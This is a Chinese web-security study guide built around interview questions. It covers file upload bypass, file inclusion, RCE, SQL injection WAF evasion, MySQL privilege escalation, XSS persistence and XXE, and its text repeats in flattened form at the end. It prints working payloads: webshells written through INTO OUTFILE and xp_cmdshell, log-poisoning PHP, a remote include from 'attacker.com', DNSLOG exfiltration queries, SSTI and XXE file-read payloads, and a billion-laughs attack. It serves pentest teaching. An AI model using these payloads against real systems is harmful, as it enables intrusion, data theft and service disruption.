Web 漏洞面试题深度拆解:从漏洞成因到实战
字数 5194 2025-12-25 12:10:39

Web漏洞深度解析与实战指南

文件上传漏洞

绕过手法详解

客户端JS绕过

原理:仅在前端检查文件类型,未在后端进行二次验证
绕过方法

  • 禁用JavaScript:在浏览器中禁用JavaScript,或使用BurpSuite修改文件名后缀
  • 抓包修改:上传合法图片文件后,使用Burp Suite拦截数据包,将文件名修改为恶意后缀

MIME类型绕过

原理:服务器仅检查Content-Type字段验证文件类型
绕过方法

  • 修改Content-Type:将恶意文件的Content-Type从application/octet-stream修改为image/jpeg

文件头内容检测绕过(魔术字节)

技术:制作"图片马"
实现步骤

  1. 创建最小图片文件(1.jpg)和恶意文件(shell.php)
  2. 使用命令合并:copy 1.jpg/b + shell.php/a webshell.jpg
  3. 结合文件包含漏洞执行:include('webshell.jpg')

文件名、路径绕过

黑名单绕过技术

  • 大小写绕过:shell.Php、shell.pHP
  • 文件后缀加空格或点:shell.php (空格)、shell.php.(点)
  • 双重扩展名:shell.php.jpg
  • 特殊字符:shell.php%00.jpg(00截断)

白名单绕过技术

  • Apache解析漏洞:配置AddHandler php5-script .jpg
  • IIS 6.0目录解析:/xx.asp/shell.jpg
  • IIS 7.0/7.5:web.config配置文件解析漏洞

竞争条件(Race Condition)

原理:利用文件上传与安全检查的时间差
利用步骤

  1. 上传包含恶意代码的脚本文件
  2. 在文件被删除前快速访问执行
  3. 恶意脚本创建持久化Webshell

文件包含漏洞

协议利用详解

本地文件包含(LFI)协议

  • file://:直接引用本地文件系统文件
  • 路径遍历:利用../访问Web根目录外敏感文件

远程文件包含(RFI)协议

前提条件:allow_url_include和allow_url_fopen均开启

  • allow_url_fopen:允许文件操作函数访问远程URL资源
  • allow_url_include:允许包含函数包含远程文件(高危)

PHP伪协议利用

php://filter:读取PHP文件源码,获取敏感信息
php://input:从POST请求体读取数据并执行
data://:在URL中直接嵌入数据执行
phar://:用于反序列化攻击,可改为任意后缀

拿Shell技术

本地文件包含拿Shell

日志文件Getshell

  1. 注入恶意代码到access.log:GET /<?php system('whoami');?>
  2. 包含日志文件:include('/var/log/apache2/access.log')

Session文件拿Shell

  1. 控制Session值注入恶意代码
  2. 通过PHPSESSID获取Session文件路径
  3. 包含Session文件执行代码

/proc/self/environ拿Shell

  1. 设置恶意User-Agent头
  2. 包含环境变量文件执行代码

远程文件包含拿Shell

  1. 制作Webshell文件托管在攻击服务器
  2. 启动HTTP服务:python -m http.server 80
  3. 远程包含执行:include('http://attacker.com/shell.txt')

远程代码执行(RCE)

漏洞原理与区别

命令执行:操作系统层面执行系统命令
代码执行:编程语言解释器层面执行代码

利用其他漏洞实现RCE

SQL注入转RCE

  • MySQL root权限调用sys_exec()
  • Payload:select sys_exec('ls /etc');

SSTI转RCE

  • 漏洞代码:return render_template_string("Hello " + name)
  • Payload:{{ __import__('os').popen('ls').read() }}

XXE转RCE

  • 条件:支持expect协议
  • Payload:<!ENTITY xxe SYSTEM "expect://id">

代码执行函数汇总

PHP危险函数

  • 代码执行:eval()、assert()、preg_replace()(/e模式)
  • 命令执行:system()、exec()、shell_exec()、passthru()

Python危险函数

  • 代码执行:exec()、eval()
  • 命令执行:os.system()、subprocess.call()

Java危险函数

  • 代码执行:ScriptEngine.eval()、Runtime.exec()

RCE防御措施

  • 输入严格过滤:白名单限制字符/命令
  • 避免直接拼接:使用安全API参数化调用
  • 最小权限运行:应用程序以低权限用户运行
  • 禁用危险函数:通过php.ini的disable_functions禁用

SQL注入高级技巧

WAF绕过技术

请求头注入点

  • User-Agent:' OR 1=1--
  • X-Forwarded-For:记录真实IP的头部
  • Cookie:会话信息参与SQL查询
  • Referer:来源页面信息利用

单引号过滤绕过

  • 双引号替换:id="1"
  • 十六进制编码:id=0x27206f7220313d31202d2d20
  • 宽字节注入:利用GBK编码%df吃掉转义字符
  • 反斜线绕过:利用\闭合addslashes添加的转义

盲注过滤if绕过

替代技术

  • CASE WHEN语句:CASE WHEN condition THEN value1 ELSE value2 END
  • UNION+错误信息:利用UNION触发自定义错误
  • 位运算和LIKE:逐位判断数据
  • BENCHMARK()函数:造成可控延时
  • GET_LOCK()函数:利用锁等待实现时间盲注

无回显利用技术

DNSLOG构造

MySQL/MariaDB

  • LOAD_FILE()结合UNC路径:SELECT LOAD_FILE(CONCAT('\\\\',(SELECT DATABASE()),'.dnslog.com\\test'))

SQL Server

  • xp_cmdshell执行ping:EXEC xp_cmdshell 'ping ' + (SELECT DB_NAME()) + '.dnslog.com'

PostgreSQL

  • 利用DNS查询特性:SELECT * FROM users WHERE id=1 AND (SELECT pg_send_query('SELECT * FROM ' || (SELECT version()) || '.dnslog.com'))

写Shell条件与技术

必要条件

  • File权限:具备LOAD_FILE()、INTO OUTFILE等文件操作权限
  • 可写路径:目标路径对Web服务器可写
  • 无WAF拦截:无强大的Web应用防火墙

MySQL写Shell

SELECT '<?php system($_GET["cmd"]);?>' 
INTO OUTFILE '/var/www/html/shell.php'

SQL Server写Shell

EXEC xp_cmdshell 'echo ^<?php system($_GET["cmd"]);?^> > C:\inetpub\wwwroot\shell.php'

高级提权技术

MySQL提权方法

UDF提权

前提条件

  • CREATE FUNCTION和FILE权限
  • 知晓MySQL插件目录
  • 版本架构匹配的UDF库文件

攻击步骤

  1. 上传恶意UDF库文件到插件目录
  2. 注册自定义函数:CREATE FUNCTION sys_exec RETURNS STRING SONAME 'lib_mysqludf_sys.so'
  3. 执行系统命令:SELECT sys_exec('id')

MOF提权(仅Windows)

原理:利用WMI服务自动加载MOF文件
攻击步骤

  1. 编写恶意MOF文件包含命令执行逻辑
  2. 写入系统MOF目录:SELECT ... INTO OUTFILE 'C:/windows/system32/wbem/mof/hack.mof'
  3. 系统自动加载执行

绕过disable_functions限制

成功率最高方法:LD_PRELOAD劫持

原理:上传自定义共享库,通过putenv预加载劫持系统函数
条件:putenv和mail等函数未被禁用

其他绕过方法

  • PHP扩展漏洞:利用imap、gd等扩展的命令注入
  • FFI扩展:直接调用系统函数
  • Windows COM组件:通过COM("WScript.Shell")调用命令

XSS深度利用

持久化控制技术

XSS劫持管理员会话

  1. 在管理员常访问页面注入恶意JS
  2. 窃取cookie、sessionStorage等会话信息
  3. 伪造管理员身份登录

后台管理页面后门注入

  1. 获取后台访问权限
  2. 注入自动化操作脚本
  3. 创建新管理员账户或修改配置

WebSocket连接劫持

  1. 注入WebSocket劫持代码
  2. 监控LOCALstorage标志
  3. 静默加载远程执行脚本

浏览器屏幕截图

  1. 利用html2canvas.js库
  2. 截取DOM元素转换为图片数据
  3. 发送到攻击服务器实时监控

localStorage持久化后门

  1. 通过XSS将恶意代码存入localStorage
  2. 在主JS文件中添加检查代码
  3. 实现持久化执行

内网渗透利用

端口扫描与服务识别

  • 利用``标签加载内网IP和端口
  • 根据onerror/onload事件判断端口状态
  • 通过响应头识别服务类型和版本

内网设备攻击

  • 利用CSRF漏洞修改路由器密码
  • 攻击存在默认凭证的管理系统
  • 利用已知漏洞攻击内网服务

XXE漏洞利用

基本攻击向量

文件读取

<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>

拒绝服务攻击

十亿笑脸攻击

<!DOCTYPE data [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;">
]>
<data>&lol3;</data>

内网端口扫描

<!DOCTYPE data [
<!ENTITY xxe SYSTEM "http://192.168.1.1:80/">
]>
<data>&xxe;</data>

盲注XXE技术

带外数据提取

  1. 攻击服务器托管恶意DTD文件
  2. 目标服务器解析XML时请求外部DTD
  3. 通过HTTP请求带出文件内容

错误信息利用

  1. 利用参数实体触发解析错误
  2. 通过错误信息带出敏感数据
  3. 适用于无法直接外传数据的场景

DNSlog数据提取

  1. 利用DNS查询子域名带出数据
  2. 适用于HTTP协议被过滤的环境
  3. 通过DNS日志获取命令执行结果

数据库特性与区别

MySQL版本差异

5.0以上版本

  • 存在information_schema数据库
  • 方便枚举数据库结构
  • 支持更好的并发控制

5.0以下版本

  • 无information_schema数据库
  • 依赖盲注和字典攻击
  • 并发控制机制相对简单

数据库识别技术

报错信息识别

  • MySQL:You have an error in your SQL syntax
  • SQL Server:Microsoft OLE DB Provider
  • Oracle:ORA-01756: quoted string not properly terminated
  • PostgreSQL:PostgreSQL query failed

函数语法差异

字符串拼接

  • MySQL:concat('a','b')
  • SQL Server:'a'+'b'
  • Oracle:'a'||'b'

注释符号

  • MySQL/PostgreSQL:--#
  • SQL Server/Oracle:--

MySQL变量系统

用户变量(@)

  • 作用域:当前会话有效
  • 用途:存储临时数据,在多条SQL间传递值
  • 示例:SET @var_name = value;

系统变量(@@)

  • 全局变量(@@global):影响所有会话
  • 会话变量(@@session):仅影响当前会话
  • 用途:管理和调整数据库配置

实战技巧与工具使用

SQLMap脚本利用

编码混淆脚本

  • charencode.py:URL编码绕过
  • randomcase.py:关键字大小写随机化
  • space2comment.py:空格替换为注释

特定WAF绕过

  • modsecurityzeroversioned.py:绕过ModSecurity
  • xforwardedfor.py:伪造X-Forwarded-For头
  • sp_password.py:绕过MS-SQL Server日志记录

数据提取与利用

ASP数据库利用

  1. 使用Microsoft Access打开.mdb文件
  2. 查看用户表和密码字段
  3. 识别哈希类型并破解

端口扫描结果利用

  1. 识别开放服务类型
  2. 尝试默认凭证登录
  3. 利用已知漏洞攻击

本教学文档全面覆盖了Web安全中常见的漏洞类型、利用技术和防御措施,为安全研究人员和渗透测试人员提供了完整的技术参考。在实际测试中,请确保获得合法授权,遵守相关法律法规。

Web漏洞深度解析与实战指南 文件上传漏洞 绕过手法详解 客户端JS绕过 原理 :仅在前端检查文件类型,未在后端进行二次验证 绕过方法 : 禁用JavaScript:在浏览器中禁用JavaScript,或使用BurpSuite修改文件名后缀 抓包修改:上传合法图片文件后,使用Burp Suite拦截数据包,将文件名修改为恶意后缀 MIME类型绕过 原理 :服务器仅检查Content-Type字段验证文件类型 绕过方法 : 修改Content-Type:将恶意文件的Content-Type从application/octet-stream修改为image/jpeg 文件头内容检测绕过(魔术字节) 技术 :制作"图片马" 实现步骤 : 创建最小图片文件(1.jpg)和恶意文件(shell.php) 使用命令合并: copy 1.jpg/b + shell.php/a webshell.jpg 结合文件包含漏洞执行: include('webshell.jpg') 文件名、路径绕过 黑名单绕过技术 : 大小写绕过:shell.Php、shell.pHP 文件后缀加空格或点:shell.php (空格)、shell.php.(点) 双重扩展名:shell.php.jpg 特殊字符:shell.php%00.jpg(00截断) 白名单绕过技术 : Apache解析漏洞:配置AddHandler php5-script .jpg IIS 6.0目录解析:/xx.asp/shell.jpg IIS 7.0/7.5:web.config配置文件解析漏洞 竞争条件(Race Condition) 原理 :利用文件上传与安全检查的时间差 利用步骤 : 上传包含恶意代码的脚本文件 在文件被删除前快速访问执行 恶意脚本创建持久化Webshell 文件包含漏洞 协议利用详解 本地文件包含(LFI)协议 file:// :直接引用本地文件系统文件 路径遍历:利用 ../ 访问Web根目录外敏感文件 远程文件包含(RFI)协议 前提条件 :allow_ url_ include和allow_ url_ fopen均开启 allow_ url_ fopen:允许文件操作函数访问远程URL资源 allow_ url_ include:允许包含函数包含远程文件(高危) PHP伪协议利用 php://filter :读取PHP文件源码,获取敏感信息 php://input :从POST请求体读取数据并执行 data:// :在URL中直接嵌入数据执行 phar:// :用于反序列化攻击,可改为任意后缀 拿Shell技术 本地文件包含拿Shell 日志文件Getshell : 注入恶意代码到access.log: GET /<?php system('whoami');?> 包含日志文件: include('/var/log/apache2/access.log') Session文件拿Shell : 控制Session值注入恶意代码 通过PHPSESSID获取Session文件路径 包含Session文件执行代码 /proc/self/environ拿Shell : 设置恶意User-Agent头 包含环境变量文件执行代码 远程文件包含拿Shell 制作Webshell文件托管在攻击服务器 启动HTTP服务: python -m http.server 80 远程包含执行: include('http://attacker.com/shell.txt') 远程代码执行(RCE) 漏洞原理与区别 命令执行 :操作系统层面执行系统命令 代码执行 :编程语言解释器层面执行代码 利用其他漏洞实现RCE SQL注入转RCE MySQL root权限调用sys_ exec() Payload: select sys_exec('ls /etc'); SSTI转RCE 漏洞代码: return render_template_string("Hello " + name) Payload: {{ __import__('os').popen('ls').read() }} XXE转RCE 条件:支持expect协议 Payload: <!ENTITY xxe SYSTEM "expect://id"> 代码执行函数汇总 PHP危险函数 代码执行:eval()、assert()、preg_ replace()(/e模式) 命令执行:system()、exec()、shell_ exec()、passthru() Python危险函数 代码执行:exec()、eval() 命令执行:os.system()、subprocess.call() Java危险函数 代码执行:ScriptEngine.eval()、Runtime.exec() RCE防御措施 输入严格过滤:白名单限制字符/命令 避免直接拼接:使用安全API参数化调用 最小权限运行:应用程序以低权限用户运行 禁用危险函数:通过php.ini的disable_ functions禁用 SQL注入高级技巧 WAF绕过技术 请求头注入点 User-Agent: ' OR 1=1-- X-Forwarded-For:记录真实IP的头部 Cookie:会话信息参与SQL查询 Referer:来源页面信息利用 单引号过滤绕过 双引号替换: id="1" 十六进制编码: id=0x27206f7220313d31202d2d20 宽字节注入:利用GBK编码 %df 吃掉转义字符 反斜线绕过:利用 \ 闭合addslashes添加的转义 盲注过滤if绕过 替代技术 : CASE WHEN语句: CASE WHEN condition THEN value1 ELSE value2 END UNION+错误信息:利用UNION触发自定义错误 位运算和LIKE:逐位判断数据 BENCHMARK()函数:造成可控延时 GET_ LOCK()函数:利用锁等待实现时间盲注 无回显利用技术 DNSLOG构造 MySQL/MariaDB : LOAD_ FILE()结合UNC路径: SELECT LOAD_FILE(CONCAT('\\\\',(SELECT DATABASE()),'.dnslog.com\\test')) SQL Server : xp_ cmdshell执行ping: EXEC xp_cmdshell 'ping ' + (SELECT DB_NAME()) + '.dnslog.com' PostgreSQL : 利用DNS查询特性: SELECT * FROM users WHERE id=1 AND (SELECT pg_send_query('SELECT * FROM ' || (SELECT version()) || '.dnslog.com')) 写Shell条件与技术 必要条件 File权限:具备LOAD_ FILE()、INTO OUTFILE等文件操作权限 可写路径:目标路径对Web服务器可写 无WAF拦截:无强大的Web应用防火墙 MySQL写Shell SQL Server写Shell 高级提权技术 MySQL提权方法 UDF提权 前提条件 : CREATE FUNCTION和FILE权限 知晓MySQL插件目录 版本架构匹配的UDF库文件 攻击步骤 : 上传恶意UDF库文件到插件目录 注册自定义函数: CREATE FUNCTION sys_exec RETURNS STRING SONAME 'lib_mysqludf_sys.so' 执行系统命令: SELECT sys_exec('id') MOF提权(仅Windows) 原理 :利用WMI服务自动加载MOF文件 攻击步骤 : 编写恶意MOF文件包含命令执行逻辑 写入系统MOF目录: SELECT ... INTO OUTFILE 'C:/windows/system32/wbem/mof/hack.mof' 系统自动加载执行 绕过disable_ functions限制 成功率最高方法:LD_ PRELOAD劫持 原理 :上传自定义共享库,通过putenv预加载劫持系统函数 条件 :putenv和mail等函数未被禁用 其他绕过方法 PHP扩展漏洞:利用imap、gd等扩展的命令注入 FFI扩展:直接调用系统函数 Windows COM组件:通过COM("WScript.Shell")调用命令 XSS深度利用 持久化控制技术 XSS劫持管理员会话 在管理员常访问页面注入恶意JS 窃取cookie、sessionStorage等会话信息 伪造管理员身份登录 后台管理页面后门注入 获取后台访问权限 注入自动化操作脚本 创建新管理员账户或修改配置 WebSocket连接劫持 注入WebSocket劫持代码 监控LOCALstorage标志 静默加载远程执行脚本 浏览器屏幕截图 利用html2canvas.js库 截取DOM元素转换为图片数据 发送到攻击服务器实时监控 localStorage持久化后门 通过XSS将恶意代码存入localStorage 在主JS文件中添加检查代码 实现持久化执行 内网渗透利用 端口扫描与服务识别 利用 `` 标签加载内网IP和端口 根据onerror/onload事件判断端口状态 通过响应头识别服务类型和版本 内网设备攻击 利用CSRF漏洞修改路由器密码 攻击存在默认凭证的管理系统 利用已知漏洞攻击内网服务 XXE漏洞利用 基本攻击向量 文件读取 拒绝服务攻击 十亿笑脸攻击 : 内网端口扫描 盲注XXE技术 带外数据提取 攻击服务器托管恶意DTD文件 目标服务器解析XML时请求外部DTD 通过HTTP请求带出文件内容 错误信息利用 利用参数实体触发解析错误 通过错误信息带出敏感数据 适用于无法直接外传数据的场景 DNSlog数据提取 利用DNS查询子域名带出数据 适用于HTTP协议被过滤的环境 通过DNS日志获取命令执行结果 数据库特性与区别 MySQL版本差异 5.0以上版本 存在information_ schema数据库 方便枚举数据库结构 支持更好的并发控制 5.0以下版本 无information_ schema数据库 依赖盲注和字典攻击 并发控制机制相对简单 数据库识别技术 报错信息识别 MySQL: You have an error in your SQL syntax SQL Server: Microsoft OLE DB Provider Oracle: ORA-01756: quoted string not properly terminated PostgreSQL: PostgreSQL query failed 函数语法差异 字符串拼接 : MySQL: concat('a','b') SQL Server: 'a'+'b' Oracle: 'a'||'b' 注释符号 : MySQL/PostgreSQL: -- 、 # SQL Server/Oracle: -- MySQL变量系统 用户变量(@) 作用域:当前会话有效 用途:存储临时数据,在多条SQL间传递值 示例: SET @var_name = value; 系统变量(@@) 全局变量(@@global):影响所有会话 会话变量(@@session):仅影响当前会话 用途:管理和调整数据库配置 实战技巧与工具使用 SQLMap脚本利用 编码混淆脚本 charencode.py:URL编码绕过 randomcase.py:关键字大小写随机化 space2comment.py:空格替换为注释 特定WAF绕过 modsecurityzeroversioned.py:绕过ModSecurity xforwardedfor.py:伪造X-Forwarded-For头 sp_ password.py:绕过MS-SQL Server日志记录 数据提取与利用 ASP数据库利用 使用Microsoft Access打开.mdb文件 查看用户表和密码字段 识别哈希类型并破解 端口扫描结果利用 识别开放服务类型 尝试默认凭证登录 利用已知漏洞攻击 本教学文档全面覆盖了Web安全中常见的漏洞类型、利用技术和防御措施,为安全研究人员和渗透测试人员提供了完整的技术参考。在实际测试中,请确保获得合法授权,遵守相关法律法规。